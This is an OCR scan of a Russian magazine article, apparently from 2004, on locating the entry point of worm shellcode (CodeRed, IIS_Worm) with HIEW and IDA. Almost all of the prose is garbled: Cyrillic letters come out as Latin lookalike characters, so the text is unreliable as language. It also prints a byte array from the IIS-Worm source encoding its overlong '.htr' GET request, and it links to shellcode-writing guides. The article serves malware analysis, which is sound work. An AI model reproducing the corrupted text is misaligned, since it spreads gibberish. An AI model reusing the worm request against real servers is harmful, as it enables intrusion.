hparmeHT ncxogHoro Tekcta yepss IIS-Worm ¢ shell-kogom
BHYTPMW.

Jmcruur 30. $parMEHT MCXORHOTO KOAa UepBs

char sploit[] = {

0x47, 0x45, 0x54, 0x20, 0x2F, 0x41, 0x41,
0x41, O0x41, 0x41, O0x41, 0x41, 0x41, 0x41,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, O0x21,
0x21, 0x21, 0x21, 0x21, 0x21, O0x21, O0x21,
0x2E, 0x68, 0x74, 0x72, 0x20, 0x48, 0x54,
0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D,
0x0A, 0x0D,0x0A };

lNonbITKa HeNocpencTBeHHoro ausaccembnmposanus shell-
KoZa Hu K 4emy XOpOLLEMY He NPUBELET, MOCKOMbKY FofoBa Hep-
BSt Ha4MHaeTcs co cTpokmn «GET /AAAAAAAAAAAAAAAAAA. . .»,
HW B KAKOM AnM3acceMbIMpoBaHMm BOOGLLIE HE HYXOaloLwen-
cs1. C kakoro 6amta HadMHaeTCca akTyanbHbI Kog — BOMnoA-
NIMHHO HEW3BECTHO. [1Ns onpefeneHns 0eicTBUTENLHOrO MNo-
NOXEHWS TOYKM BXoga HEOBXOANMO CKOPMUTb FONIOBY YEPBS
YSI3BMMOMY NMPUNOXEHWIO M NOCMOTPETL: Kyaa MeTHeTCs pe-
rucTp EIP. 3o (Teopetnyeckn!) n 6ynet Toukon Bxoga. Mpak-
TUYECKM XEe 3TO OT/IMYHBIA Cnocob youTb BpeMs, HO He 60-
nee ToOro.
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HauHem ¢ Toro, 4to oTnagka — onacHbIN U HeonpasaaHHoO
arpeccuBHbIN CNOCO6 MCCnefoBaHus. DKCNEPUMEHTMPOBATb
C «XMBbIM» CEPBEPOM BaM HUKTO He JacT, 1 yA3BUMoe npo-
rpaMmMHoe obecneyeHne OOSKHO OblTb YCTAHOBMEHO Ha OT-
[enbHbIR KOMMNbIOTEP, HA KOTOPOM HET HUYero Takoro, Yto
6b1n0 6bl Xanko notepaTtb. MNpuyeM 310 JOMKHA 6bITb UMEH-
HO Ta Bepcusl MPOrpaMMHOro obecneyeHuns, KoTopyto BUPYC B
COCTOSIHUM NOPa3UTb, HNYEro HEHAPOKOM He 06pYLLMB, B MPO-
TUBHOM cfly4ae ynpaeneHue nosyyut OTHIOOb He UCTUHHAs
ToYka BXofa, a HEM3BECTHO YTO. HO Beflb fianeko He Kaxapli
uccnegoBaresl UMEeT B CBOEM PaCropsKeHUN «300MapK»
nporpaMMHOro o6ecrneyeHnst pasnmyHbIX BEPCUn U Kydy one-
pauMOHHbIX cuctem!

K ToMy Xe faneko He (hakT, 4To HaM ydacTcs onpegesvThb
MOMEHT nepegauyu ynpasnenus shell-kogy. Tynas Tpaccmpos-
Ka 30eCb He NMOMOXET, — COBPEMEHHOE nporpaMmHoe o6ec-
neyeHne CIMLLKOM rpoMO3KO, a nepefada ynpasneHuns Mo-
XET OCYLLECTBAATLCS CNYCTA ThICAYM, @ TO U COTHM ThICAY Ma-
LUMHHBIX MHCTPYKLMIA, BbINOSHAEMbIX B TOM W Y/CIE W B na-
pannenbHbix notokax. OTnag4ymkoB, CNOCOBHbLIX OTAaXK-
BaTb HECKOMbKO MOTOKOB OJHOBPEMEHHO, HACKONBbKO MHE 13-
BECTHO, HE CYLLECTBYET (BO BCAKOM CIly4ae, OHW He 6bliun
NpeacTassieHbl Ha pbIHKE). MOXHO, KOHEHYHO, YCTaHOBUTb «MC-
NONHSAEMYIO» TOYKY OCTaHOBA Ha PErvoH namsTh, copepxa-
LK B cebe npuHUMaroLLmniA 6ydep, HO 3TO HE NOMOXET B TeX
cnyyasix, korga shell-kog nepepaetcs no uUenoyke 6ydepos,
NWLLb OAMH U3 KOTOPLIX MOABEPXEH NEPENONHEHMIO, a OCTaSlb-
Hble — BMOMIHE HOPMarbHbI.

C Opyron CTOpOHbI, ONPEAENUTL TOUKY BXO4a MOXHO M
Bu3yanbHo. [pocTo 3arpyaute shell-kog B gu3accemoénep wu,
nepebupas pasnmyHble CTapToBblE apeca, BbIGepute N3 HUX
TOT, YTO AaeT HanboNee OCMbICTEHHbIA KOA. JTy onepaumio
ynoobHee Bcero ocywectenate B HIEW vnu nio6om gpyrom
HEX-pepakTope ¢ aHanornyHbiMm Bo3moxHocTamu (IDA ons
3TUX LieNiel BCe Xe HeJoCTaTo4HO «MofABMXHa»). byabte ro-
TOBbI K TOMY, YTO OCHOBHOE Teso shell-kofa okaxeTcs 3alumd-
POBaHO U OCMbICNEHHBIM OCTAHETCA TOSTbKO PacLUUPOBLLKK,
KOTOpbIA K TOMY Xe MOXET 6bITb pa3masaH no BCew ronose
YepBS U YMBILLIIEHHO «3aMyCOPEH» HWYEro He 3Hayallumu
WHCTPYKLMAMM.

Ecnu shell-kog nepepaet Ha cebsi ynpaeneHue nocpepn-
ctBom JMP ESP (kak Yalle BCero v npomcxoguT), Toraa Tou-
Ka BXoAa NepemMecTuTCs Ha Camblii MEPBbLIN GART ronosbl Yep-
Bfl, T.e. Ha cTpoky «GET /AAAAAAAAAAAAAAAAAA...», a
OTHIOb HE Ha NepBbIn 6aiT, PACNONOXEHHLIN 33 €€ KOHLIOM,
Kak 3TO yTBEPXOAloT HEeKoTopble pykoBoAcTBa. MIMeHHO Tak
ycTpoeHbl Yepau CodeRed 1,2 u [IS_Worm.

3Ha4uTeNbHO pexe ynpaeneHne nepepaeTcs B CepeanHy
shell-koga. B atom cnyyae ctout nouckatb uenodky NOP,
pacnosioXeHHyI0 B OKPECTHOCTAX TOYKM BXoda U 1Cnonb3aye-
MYI0 YepBeM Ans obecneyveHns «COBMECTUMOCTU» C passiny-
HbIMK Bepcusmm yassmumoro MO (npu nepekomnunaumm mec-
TOMOJSIOXEHWE NepenonHsaoLLierocs 6ydepa MOXET MEHSATb-
Csl, HO He cunbHO, BOT NOP v Bbipy4atoT, urpas Ty Xe posb,
4TO W BOPOHKA NpW BANBAHWM XMOKOCTU B 6YTbIIKY). Opyryto
3auenky gaeT onsTb-Taku pacumndgpoBLUmK. Ecnum Bbl Havige-
Te pacWwMpPOBLLMK, TO HageTe U TOYKY Bxofa. MoXHO Tak-
Xe Bocnosb3oBaTbes BusyanusatopoM IDA Tuna «flow chart»,
0TO6paXaroLLM NOTOKM yNpaBneHns, 4eM-To HanoMuHaroLme
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[OBPOTHYI0 rPO3/b BMHOTpaga ¢ TOHKOW BXOAA B PONK HepeH-
Ka (cM. puc. 3).

PaccmoTpum [oCTaTo4HO CNOXHBLIA Cryvan — caMoMO-
Anduumpyrowytocs ronosy Yepss Code Red, guHamunyec-
Ku n3meHstoLLyto 6esycrnosHsin JMP ang nepepa4u ynpas-
NEeHWA Ha TOT MNIM MHOW yyacTok koga. OyeBumgHo, 41O IDA
HEe CMOXeT aBTOMaTU4YeCKn BOCCTaHOBUTL BCE MEPEKPECT-
Hble CCbIJIKW, U 4acTb (PYHKLMUA «3aBUCHET», OTMNOYKOBAB-
LUMCb OT OCHOBHOW rpo3fun. A Mbl B pesynstarte nony4yum
YyeTblpe NpPeTeHAeHTa Ha ponb TOYEK BXOAa. Tpoe M3 HUX
oTCemBaloTCs cpasy, T.K. cofepxar 6eCCMbICIIEHHbIN KOf,
obpallaloLwnncs K HeMHULManM3MpoBaHHbIM perncTpam u
nepemeHHbIM. OCMbICIEHHbIN KOO AaeT NUlWb UCTUHHAS
TOYKa BXofa — Ha 3TOW AmarpaMme OHa pacriofioxeHa 4eT-
BepTOW cnesa.

[ ]

CrnoxHee cnpasutbca ¢ Npo6reMon «npueasku» shell-
Kofa K OKpyXatoLLien ero cpege obutaHus, HanpumMep, coaep-
XUMOMY PerucTpoB, AOCTABLUKUXCH YEPBIO OT YA3BUMOMN Mpo-
rpaMmbl. Kak y3Hatb, Kakoe OHW MpUHUMAtOT 3Ha4eHue, He
obpaLlasch K ya3sumoi nporpamme? Hy HaBepHSKa-TO cka-
3aTb HEBO3MOXHO, HO B NOAABNAOLLEM GONBLUMHCTBE Chyya-
€B 3TO MOXHO NPOCTO yragaTb. To4Hee, NpoaHanM3npoBas
Xapaktep obpalleHus ¢ NocnegHUMK, onpenenuTb: Yero
MMEHHO OXMAaeT Y4epBb OT HMX. ManoBeposTHO, HTOObI YEPBb
3aknagblBancs Ha Te U UHble KOHCTaHTbl. CKopee BCcero oH
MbiTaeTcs BOPBATLCS B ONPEAesNieHHbIA 610K namaTi, ykasa-
TeSlb Ha KOTOPbIV U XPaHWUTCA B PErMCTpe (Hanpumep, B peru-
ctpe ECX 06bI14HO XxpaHuTCa ykasaTens this).

XyxXe, ecnu Bupyc obpallaeTcs K PyHKUUAM ya3BUMON
nporpammbl, BbI3blBas UX Mo IMKCMpoBaHHbLIM agpecam. [o-
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Pucysox 4. Busyammusarop IDA, oToBpaxaiumit NOTOKM YNPaBIEHUS B (bopue JMarpaMMbl (KPYMHHM IJIAHOM)

npo6yw forafgaics, 3a 4To kaxgas yHkums oteevaet! EguH-
CTBEHHYI0 3aLenKy AatoT nepegaBaemMble PyHKLMM apryMeH-
Thl, HO 3Ta 3auenka CMLIKOM cnabas pnist Toro, YTobbl pe-
3ynkTaT UCCNEeQoBaHWiA MOXHO ObISI0 Ha3BaTb JOCTOBEPHbIM
1 6e3 au3acceM6IMpoBaHna camon YA3BMMOW NporpaMmel
3[ecb He 060NTUCh.

CnepyerT cka3aTb, YTO 4amn, COPOLLEHHLIV OnepaLyoHHON
CUCTEMOIA B OTBET Ha aTaKy, MOXET M He copepXaTb B cebe
HUKakux OOBLEKTOB AJ1A UCCNELOBaHWM, NOCKOSbKY 06pyLle-
HMe CUCTEMbI HEABYCMBICTIEHHO YKa3bIBAET Ha TOT hakT, 4To
araka He yganacb U YepBb BMECTO CTPOro [O3MPOBAHHOIO
nepenonHeHns 6ydepa YHUYTOXMIT KNUZHEHHO BaXHbIE CTPYK-
Typbl JaHHbIX. TeM He MeHee, OeACTBYS MO METoAMKaM, Onu-

Y10 yutath

B UNIX Assembly Codes Development for Vulnerabilities
lllustration Purposes — BenMKonenHoe pykoBOACTBO MO Ha-
nucanuio shell-kogos ansa pasnuyHbix kKnoHoB UNIX ¢ 605b-
LUMM KOJIMYECTBOM MPUMEPOB, paboTaroLLmMX NPaKTUHECKM
Ha BCEX COBPEMEHHbIX MPOLIECCOopax, a He TOMbKO Ha X86;
http://opensores.thebunker.net/pub/mirrors/blackhat/
presentations/bh-usa-01/LSD/bh-usa-01-Isd.pdf

B Win32 Assembly Components — eLLie 0HO BESIMKONENHoe
PYKOBOZCTBO Mo Hanucanwto shell-konos, Ha 3TOT pas opu-
EHTUPOBaHHOE Ha cemencTBO NT/x86;
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

Ned(17), anpenb 2004

CaHHbIM B cTaTbhe «[lpakT4yeckue CoBeThl MO BOCCTAHOBMe-
HUIO CMCTEMbI», ONYGNKOBAHHOK B NeKabpbCKOM HOMepe
«CUCTEMHOr0 aAMMUHIUCTPATOPA», Mbl CMOXEM Pa3rpecT 3ToT
MYCOp W NIOKanu3oBaTh rofioBy Yepss. Hy a pganblie — aeno
TEXHUKM.

3akniouenue

MNepenonHeHne 6ydepa — B AEACTBUTESIBHOCTU HACTOSbKO
HEOOBATHAA TEMA, YTO JaXe HACTOALLAsA CTaTbsl NPpW BCEN ee
O6LUMPHOCTM He 3aTparvBaeT W MOMOBWMHbI BUOMMON HacTu
aiicbepra, He roBops yxe 0 TOW rmblbe, 4TO cnpsTaHa nog
BOLON. Ho 06 3TOM Kak Hu 6yab B ApYyroun pas...

B Win32 One-Way Shallcode — 6oraTeiLuas knanesb MHhop-
Mauuu, OXBaTbIBaOLLAsA BCE aCMeKTbl XN3HELEATENTbHOCTM
yepBen, obuTatoLmx B cpefe NT/x86, oa U He TOMbKO MX...
http://www.blackhat.com/presentations/bh-asia-03/bh-asia-
03-chong.pdf

B SPARC Buer Overows — KOHCMEKT JIEKLMI MO TEXHWKE ne-
penonHexus 6ydepoB Ha SPARC nog UNIX
http://www.dopesquad.net/security/defcon-2000.pdf

B Writing MIPS/IRIX shellcode — pykoBoACTBO no Hanwuca-
Huto shell-kogos gna MIPS/IRIX
http://teso.scene.at/articles/mipsshellcode/mipsshellcode.pdf
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